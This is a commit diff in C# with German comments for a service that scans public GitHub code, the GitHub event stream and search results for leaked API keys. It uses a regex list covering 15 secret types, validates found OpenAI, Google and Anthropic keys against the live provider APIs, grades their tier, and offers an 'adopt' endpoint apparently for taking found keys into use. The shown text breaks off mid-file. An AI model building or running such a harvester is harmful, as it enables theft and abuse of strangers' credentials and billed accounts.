Multi-Provider Key Scanner + Checker (OpenAI, Google, 15 Key-Typen)
- KeyPatterns.cs: Zentrale Pattern-Klasse für 15 Key-Typen (Anthropic, OpenAI, Google, AWS, GitHub, GitLab, HuggingFace, Stripe, SendGrid, Slack) - OpenAiKeyChecker.cs: Prüft sk-proj/sk-svcacct/sk- Keys via /v1/models (Org, Modelle, RPM/TPM, Tier-Erkennung Free bis 5+) - GoogleKeyChecker.cs: Prüft AIza-Keys via Gemini /v1/models (Gemini-Modelle, Maps-Key-Erkennung) - KeyScannerService + GitHubEventScannerService: Dispatch nach Key-Typ - ApiKeysEndpoint: GET /scanned/summary + ?type= Filter - Frontend: 2-stufige UI (Typ-Übersicht → Keys pro Typ)
This commit is contained in:
1 parent
eb8844a4f1
commit
c8859a89d0
9 files changed
+536
-52
No files matched your search
@@ -29,6 +29,7 @@ public static class ApiKeysEndpoint
|
|||||||
app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger);
|
app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger);
|
||||||
app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus);
|
app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus);
|
||||||
app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned);
|
app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned);
|
||||||
|
app.MapGet("/api/admin/api-keys/scanned/summary", HandleGetScannedSummary);
|
||||||
app.MapPost("/api/admin/api-keys/scanned/recheck-all", HandleRecheckAll);
|
app.MapPost("/api/admin/api-keys/scanned/recheck-all", HandleRecheckAll);
|
||||||
app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck);
|
app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck);
|
||||||
app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt);
|
app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt);
|
||||||
@@ -261,7 +262,11 @@ public static class ApiKeysEndpoint
|
|||||||
{
|
{
|
||||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||||
|
|
||||||
var keys = await db.GetScannedKeys();
|
var type = ctx.Request.Query["type"].FirstOrDefault();
|
||||||
|
var keys = string.IsNullOrEmpty(type)
|
||||||
|
? await db.GetScannedKeys()
|
||||||
|
: await db.GetScannedKeysByType(type);
|
||||||
|
|
||||||
var result = keys.Select(k => new
|
var result = keys.Select(k => new
|
||||||
{
|
{
|
||||||
k.ScannedKeyId,
|
k.ScannedKeyId,
|
||||||
@@ -279,6 +284,14 @@ public static class ApiKeysEndpoint
|
|||||||
await ctx.Response.WriteAsJsonAsync(result);
|
await ctx.Response.WriteAsJsonAsync(result);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static async Task HandleGetScannedSummary(HttpContext ctx, DatabaseService db)
|
||||||
|
{
|
||||||
|
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||||
|
|
||||||
|
var summary = await db.GetScannedKeysSummary();
|
||||||
|
await ctx.Response.WriteAsJsonAsync(summary);
|
||||||
|
}
|
||||||
|
|
||||||
private static async Task HandleRecheckAll(HttpContext ctx, DatabaseService db, KeyScannerService scanner)
|
private static async Task HandleRecheckAll(HttpContext ctx, DatabaseService db, KeyScannerService scanner)
|
||||||
{
|
{
|
||||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||||
|
|||||||
@@ -475,6 +475,28 @@ public partial class DatabaseService
|
|||||||
"SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC");
|
"SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public async Task<IEnumerable<ScannedKeyRecord>> GetScannedKeysByType(string type)
|
||||||
|
{
|
||||||
|
using var conn = CreateConnection();
|
||||||
|
return await conn.QueryAsync<ScannedKeyRecord>(
|
||||||
|
"SELECT * FROM scanned_keys WHERE deleted = 0 AND type = @type ORDER BY scanned_at DESC",
|
||||||
|
new { type });
|
||||||
|
}
|
||||||
|
|
||||||
|
public async Task<IEnumerable<dynamic>> GetScannedKeysSummary()
|
||||||
|
{
|
||||||
|
using var conn = CreateConnection();
|
||||||
|
return await conn.QueryAsync(
|
||||||
|
@"SELECT type,
|
||||||
|
COUNT(*) as total,
|
||||||
|
SUM(CASE WHEN adopted_api_key_id IS NOT NULL THEN 1 ELSE 0 END) as adopted,
|
||||||
|
SUM(CASE WHEN status = 'valid' AND adopted_api_key_id IS NULL THEN 1 ELSE 0 END) as valid,
|
||||||
|
SUM(CASE WHEN status = 'invalid' THEN 1 ELSE 0 END) as invalid,
|
||||||
|
SUM(CASE WHEN status = 'unchecked' THEN 1 ELSE 0 END) as unchecked
|
||||||
|
FROM scanned_keys WHERE deleted = 0
|
||||||
|
GROUP BY type ORDER BY total DESC");
|
||||||
|
}
|
||||||
|
|
||||||
public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId)
|
public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId)
|
||||||
{
|
{
|
||||||
using var conn = CreateConnection();
|
using var conn = CreateConnection();
|
||||||
|
|||||||
@@ -31,15 +31,8 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen
|
private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen
|
||||||
private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup
|
private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup
|
||||||
|
|
||||||
// Gleiche Key-Patterns wie KeyScannerService
|
// Zentrale Key-Patterns aus KeyPatterns.cs
|
||||||
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
|
private static readonly Regex[] CompiledPatterns = KeyPatterns.Compiled;
|
||||||
{
|
|
||||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
|
||||||
};
|
|
||||||
|
|
||||||
private static readonly Regex[] CompiledPatterns = KeyPatterns
|
|
||||||
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
|
||||||
.ToArray();
|
|
||||||
|
|
||||||
// Deduplication Ringbuffer
|
// Deduplication Ringbuffer
|
||||||
private readonly HashSet<string> _processedEventIds = new();
|
private readonly HashSet<string> _processedEventIds = new();
|
||||||
@@ -386,13 +379,31 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
foreach (var sk in unchecked_)
|
foreach (var sk in unchecked_)
|
||||||
{
|
{
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
|
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
if (KeyPatterns.IsAnthropic(type))
|
||||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
{
|
||||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
|
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||||
|
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
|
||||||
|
}
|
||||||
|
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||||||
|
{
|
||||||
|
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||||
|
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
|
||||||
|
}
|
||||||
|
else if (type == "google_api")
|
||||||
|
{
|
||||||
|
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||||
|
_logger.LogInformation("Google Key geprüft: {Status}", status);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -443,13 +454,7 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
return client;
|
return client;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string DetectKeyType(string key)
|
private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
|
||||||
{
|
|
||||||
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
|
|
||||||
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
|
|
||||||
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
|
|
||||||
return "unknown";
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Interne Datenstrukturen ──
|
// ── Interne Datenstrukturen ──
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,93 @@
|
|||||||
|
using System;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Http;
|
||||||
|
using System.Text.Json;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Gott.Services
|
||||||
|
{
|
||||||
|
public class GoogleCheckResult
|
||||||
|
{
|
||||||
|
public string Status { get; set; } // "ok", "invalid", "disabled", "error"
|
||||||
|
public string Message { get; set; }
|
||||||
|
public string[] Models { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class GoogleKeyChecker
|
||||||
|
{
|
||||||
|
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var client = httpFactory.CreateClient();
|
||||||
|
client.Timeout = TimeSpan.FromSeconds(30);
|
||||||
|
|
||||||
|
// Gemini / Generative Language API – listet verfügbare Modelle
|
||||||
|
var url = "https://generativelanguage.googleapis.com/v1/models?key=" + apiKey;
|
||||||
|
var resp = await client.GetAsync(url);
|
||||||
|
var statusCode = (int)resp.StatusCode;
|
||||||
|
|
||||||
|
if (statusCode == 400)
|
||||||
|
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (400)" };
|
||||||
|
|
||||||
|
if (statusCode == 403)
|
||||||
|
{
|
||||||
|
// Key gültig, aber Gemini API nicht aktiviert (z.B. Maps-Key)
|
||||||
|
var errorBody = await resp.Content.ReadAsStringAsync();
|
||||||
|
if (errorBody.Contains("API_KEY_INVALID", StringComparison.OrdinalIgnoreCase))
|
||||||
|
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (403)" };
|
||||||
|
|
||||||
|
return new GoogleCheckResult { Status = "disabled", Message = "Key gültig, aber Gemini API nicht aktiviert (403)" };
|
||||||
|
}
|
||||||
|
|
||||||
|
if (statusCode == 429)
|
||||||
|
return new GoogleCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
|
||||||
|
|
||||||
|
if (statusCode >= 400)
|
||||||
|
return new GoogleCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
|
||||||
|
|
||||||
|
// 200 OK → Key gültig + Gemini API aktiv
|
||||||
|
var body = await resp.Content.ReadAsStringAsync();
|
||||||
|
var doc = JsonDocument.Parse(body);
|
||||||
|
|
||||||
|
string[] models = Array.Empty<string>();
|
||||||
|
if (doc.RootElement.TryGetProperty("models", out var modelsArr))
|
||||||
|
{
|
||||||
|
var interestingPrefixes = new[] { "gemini" };
|
||||||
|
models = modelsArr.EnumerateArray()
|
||||||
|
.Where(m => m.TryGetProperty("name", out _))
|
||||||
|
.Select(m => m.GetProperty("name").GetString())
|
||||||
|
.Where(n => n != null)
|
||||||
|
.Select(n => n.StartsWith("models/", StringComparison.Ordinal) ? n.Substring(7) : n)
|
||||||
|
.Where(n => interestingPrefixes.Any(p => n.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
|
||||||
|
.Distinct()
|
||||||
|
.OrderBy(x => x)
|
||||||
|
.ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Plan-Erkennung
|
||||||
|
string plan;
|
||||||
|
if (models.Any(m => m.Contains("2.5", StringComparison.OrdinalIgnoreCase)
|
||||||
|
|| m.Contains("ultra", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Premium";
|
||||||
|
else if (models.Any(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Standard";
|
||||||
|
else if (models.Any(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Basic";
|
||||||
|
else
|
||||||
|
plan = "Free";
|
||||||
|
|
||||||
|
return new GoogleCheckResult
|
||||||
|
{
|
||||||
|
Status = "ok",
|
||||||
|
Message = models.Length + " Gemini-Modelle · " + plan,
|
||||||
|
Models = models
|
||||||
|
};
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
return new GoogleCheckResult { Status = "error", Message = ex.Message };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
using System;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
namespace Gott.Services;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Zentrale Definition aller Key-Patterns für den Secret Scanner.
|
||||||
|
/// Wird von KeyScannerService und GitHubEventScannerService gemeinsam genutzt.
|
||||||
|
/// </summary>
|
||||||
|
public static class KeyPatterns
|
||||||
|
{
|
||||||
|
// ── Pattern-Definitionen ──
|
||||||
|
// (Regex-Pattern, Suchbegriff für GitHub Code Search / Serper, Key-Typ)
|
||||||
|
|
||||||
|
public static readonly (string Pattern, string SearchTerm, string Type)[] All =
|
||||||
|
{
|
||||||
|
// Anthropic
|
||||||
|
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"),
|
||||||
|
(@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"),
|
||||||
|
|
||||||
|
// OpenAI
|
||||||
|
(@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"),
|
||||||
|
(@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"),
|
||||||
|
(@"sk-[A-Za-z0-9]{48}", "sk-", "openai_legacy"),
|
||||||
|
|
||||||
|
// Google / Gemini
|
||||||
|
(@"AIza[0-9A-Za-z_\-]{35}", "AIzaSy", "google_api"),
|
||||||
|
|
||||||
|
// AWS
|
||||||
|
(@"AKIA[0-9A-Z]{16}", "AKIA", "aws_access_key"),
|
||||||
|
|
||||||
|
// GitHub
|
||||||
|
(@"ghp_[A-Za-z0-9]{36}", "ghp_", "github_pat"),
|
||||||
|
(@"gho_[A-Za-z0-9]{36}", "gho_", "github_oauth"),
|
||||||
|
|
||||||
|
// GitLab
|
||||||
|
(@"glpat-[A-Za-z0-9_\-]{20}", "glpat-", "gitlab_pat"),
|
||||||
|
|
||||||
|
// HuggingFace
|
||||||
|
(@"hf_[A-Za-z0-9]{34}", "hf_", "huggingface"),
|
||||||
|
|
||||||
|
// Stripe
|
||||||
|
(@"sk_live_[0-9a-zA-Z]{24,}", "sk_live_", "stripe_live"),
|
||||||
|
(@"sk_test_[0-9a-zA-Z]{24,}", "sk_test_", "stripe_test"),
|
||||||
|
|
||||||
|
// SendGrid
|
||||||
|
(@"SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}", "SG.", "sendgrid"),
|
||||||
|
|
||||||
|
// Slack (xoxb ist häufigster Typ)
|
||||||
|
(@"xoxb-[0-9]{10,13}-[A-Za-z0-9\-]{20,}", "xoxb-", "slack"),
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Patterns die für GitHub Code Search / Serper geeignet sind.
|
||||||
|
/// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK").
|
||||||
|
/// </summary>
|
||||||
|
public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch =
|
||||||
|
All.Where(p => p.SearchTerm.Length >= 5).ToArray();
|
||||||
|
|
||||||
|
// ── Kompilierte Regexe (einmalig, alle Patterns) ──
|
||||||
|
|
||||||
|
public static readonly Regex[] Compiled = All
|
||||||
|
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
||||||
|
.ToArray();
|
||||||
|
|
||||||
|
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
|
||||||
|
public static string DetectType(string key)
|
||||||
|
{
|
||||||
|
// Spezifischere Patterns zuerst prüfen (Reihenfolge wichtig!)
|
||||||
|
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
|
||||||
|
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
|
||||||
|
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
|
||||||
|
if (key.StartsWith("sk-proj-", StringComparison.Ordinal)) return "openai_project";
|
||||||
|
if (key.StartsWith("sk-svcacct-", StringComparison.Ordinal)) return "openai_service";
|
||||||
|
if (key.StartsWith("sk_live_", StringComparison.Ordinal)) return "stripe_live";
|
||||||
|
if (key.StartsWith("sk_test_", StringComparison.Ordinal)) return "stripe_test";
|
||||||
|
if (key.StartsWith("sk-", StringComparison.Ordinal)) return "openai_legacy";
|
||||||
|
if (key.StartsWith("AIza", StringComparison.Ordinal)) return "google_api";
|
||||||
|
if (key.StartsWith("AKIA", StringComparison.Ordinal)) return "aws_access_key";
|
||||||
|
if (key.StartsWith("ghp_", StringComparison.Ordinal)) return "github_pat";
|
||||||
|
if (key.StartsWith("gho_", StringComparison.Ordinal)) return "github_oauth";
|
||||||
|
if (key.StartsWith("glpat-", StringComparison.Ordinal)) return "gitlab_pat";
|
||||||
|
if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface";
|
||||||
|
if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid";
|
||||||
|
if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack";
|
||||||
|
return "unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Prüft ob ein Key-Typ zu Anthropic gehört (für automatische Validierung).</summary>
|
||||||
|
public static bool IsAnthropic(string type)
|
||||||
|
{
|
||||||
|
return type == "anthropic_oauth" || type == "anthropic_api" || type == "anthropic_unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Menschenlesbarer Name für den Key-Typ.</summary>
|
||||||
|
public static string DisplayName(string type)
|
||||||
|
{
|
||||||
|
return type switch
|
||||||
|
{
|
||||||
|
"anthropic_oauth" => "Anthropic OAuth",
|
||||||
|
"anthropic_api" => "Anthropic API",
|
||||||
|
"anthropic_unknown" => "Anthropic",
|
||||||
|
"openai_project" => "OpenAI Project",
|
||||||
|
"openai_service" => "OpenAI Service",
|
||||||
|
"openai_legacy" => "OpenAI Legacy",
|
||||||
|
"google_api" => "Google / Gemini",
|
||||||
|
"aws_access_key" => "AWS Access Key",
|
||||||
|
"github_pat" => "GitHub PAT",
|
||||||
|
"github_oauth" => "GitHub OAuth",
|
||||||
|
"gitlab_pat" => "GitLab PAT",
|
||||||
|
"huggingface" => "HuggingFace",
|
||||||
|
"stripe_live" => "Stripe Live",
|
||||||
|
"stripe_test" => "Stripe Test",
|
||||||
|
"sendgrid" => "SendGrid",
|
||||||
|
"slack" => "Slack",
|
||||||
|
_ => type
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -38,10 +38,10 @@ public class KeyScannerService : BackgroundService
|
|||||||
|
|
||||||
// ── GitHub Search Config ──
|
// ── GitHub Search Config ──
|
||||||
|
|
||||||
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
|
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
|
||||||
{
|
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
|
||||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
// Alle Patterns für Regex-Matching im Dateiinhalt
|
||||||
};
|
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
|
||||||
|
|
||||||
private static readonly string[] SearchLanguages =
|
private static readonly string[] SearchLanguages =
|
||||||
{
|
{
|
||||||
@@ -249,7 +249,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||||
var queries = new List<(string Query, Regex Regex)>();
|
var queries = new List<(string Query, Regex Regex)>();
|
||||||
|
|
||||||
foreach (var (pattern, searchTerm) in KeyPatterns)
|
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||||
{
|
{
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
foreach (var lang in QuickLanguages)
|
foreach (var lang in QuickLanguages)
|
||||||
@@ -440,7 +440,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||||
{
|
{
|
||||||
var queries = new List<(string, Regex)>();
|
var queries = new List<(string, Regex)>();
|
||||||
foreach (var (pattern, searchTerm) in KeyPatterns)
|
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||||
{
|
{
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
foreach (var lang in SearchLanguages)
|
foreach (var lang in SearchLanguages)
|
||||||
@@ -470,7 +470,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
var client = _httpFactory.CreateClient();
|
var client = _httpFactory.CreateClient();
|
||||||
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
||||||
|
|
||||||
foreach (var (pattern, searchTerm) in KeyPatterns)
|
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||||
{
|
{
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
@@ -519,15 +519,37 @@ public class KeyScannerService : BackgroundService
|
|||||||
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
|
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Anthropic Key Check (via shared AnthropicKeyChecker) ──
|
// ── Key Check ──
|
||||||
|
|
||||||
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
|
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
|
||||||
{
|
{
|
||||||
|
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
if (KeyPatterns.IsAnthropic(type))
|
||||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
{
|
||||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||||
|
}
|
||||||
|
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||||||
|
{
|
||||||
|
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||||
|
}
|
||||||
|
else if (type == "google_api")
|
||||||
|
{
|
||||||
|
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -536,11 +558,5 @@ public class KeyScannerService : BackgroundService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string DetectKeyType(string key)
|
private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
|
||||||
{
|
|
||||||
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
|
|
||||||
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
|
|
||||||
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
|
|
||||||
return "unknown";
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
using System;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Http;
|
||||||
|
using System.Net.Http.Headers;
|
||||||
|
using System.Text.Json;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Gott.Services
|
||||||
|
{
|
||||||
|
public class OpenAiCheckResult
|
||||||
|
{
|
||||||
|
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
|
||||||
|
public string Message { get; set; }
|
||||||
|
public string Organization { get; set; }
|
||||||
|
public string[] Models { get; set; }
|
||||||
|
public int? RateLimitRpm { get; set; }
|
||||||
|
public int? RateLimitTpm { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class OpenAiKeyChecker
|
||||||
|
{
|
||||||
|
public static async Task<OpenAiCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var client = httpFactory.CreateClient();
|
||||||
|
client.Timeout = TimeSpan.FromSeconds(30);
|
||||||
|
|
||||||
|
var request = new HttpRequestMessage(HttpMethod.Get, "https://api.openai.com/v1/models");
|
||||||
|
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||||
|
|
||||||
|
var resp = await client.SendAsync(request);
|
||||||
|
var statusCode = (int)resp.StatusCode;
|
||||||
|
|
||||||
|
if (statusCode == 401)
|
||||||
|
return new OpenAiCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)" };
|
||||||
|
|
||||||
|
if (statusCode == 403)
|
||||||
|
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Keine Berechtigung / Quota erschöpft (403)" };
|
||||||
|
|
||||||
|
if (statusCode == 429)
|
||||||
|
{
|
||||||
|
// Rate-Limited → Key existiert, ist aber gerade nicht nutzbar
|
||||||
|
return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
|
||||||
|
}
|
||||||
|
|
||||||
|
if (statusCode >= 400)
|
||||||
|
return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
|
||||||
|
|
||||||
|
// 200 OK → Key ist gültig
|
||||||
|
var body = await resp.Content.ReadAsStringAsync();
|
||||||
|
var doc = JsonDocument.Parse(body);
|
||||||
|
|
||||||
|
// Organisation aus Header
|
||||||
|
string org = null;
|
||||||
|
if (resp.Headers.TryGetValues("openai-organization", out var orgValues))
|
||||||
|
org = orgValues.FirstOrDefault();
|
||||||
|
|
||||||
|
// Rate-Limits aus Headern
|
||||||
|
int? rpm = null;
|
||||||
|
int? tpm = null;
|
||||||
|
if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
|
||||||
|
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
|
||||||
|
rpm = rpmVal;
|
||||||
|
if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
|
||||||
|
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
|
||||||
|
tpm = tpmVal;
|
||||||
|
|
||||||
|
// Modell-Liste extrahieren (nur die interessantesten)
|
||||||
|
string[] models = Array.Empty<string>();
|
||||||
|
if (doc.RootElement.TryGetProperty("data", out var data))
|
||||||
|
{
|
||||||
|
var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" };
|
||||||
|
models = data.EnumerateArray()
|
||||||
|
.Select(m => m.GetProperty("id").GetString())
|
||||||
|
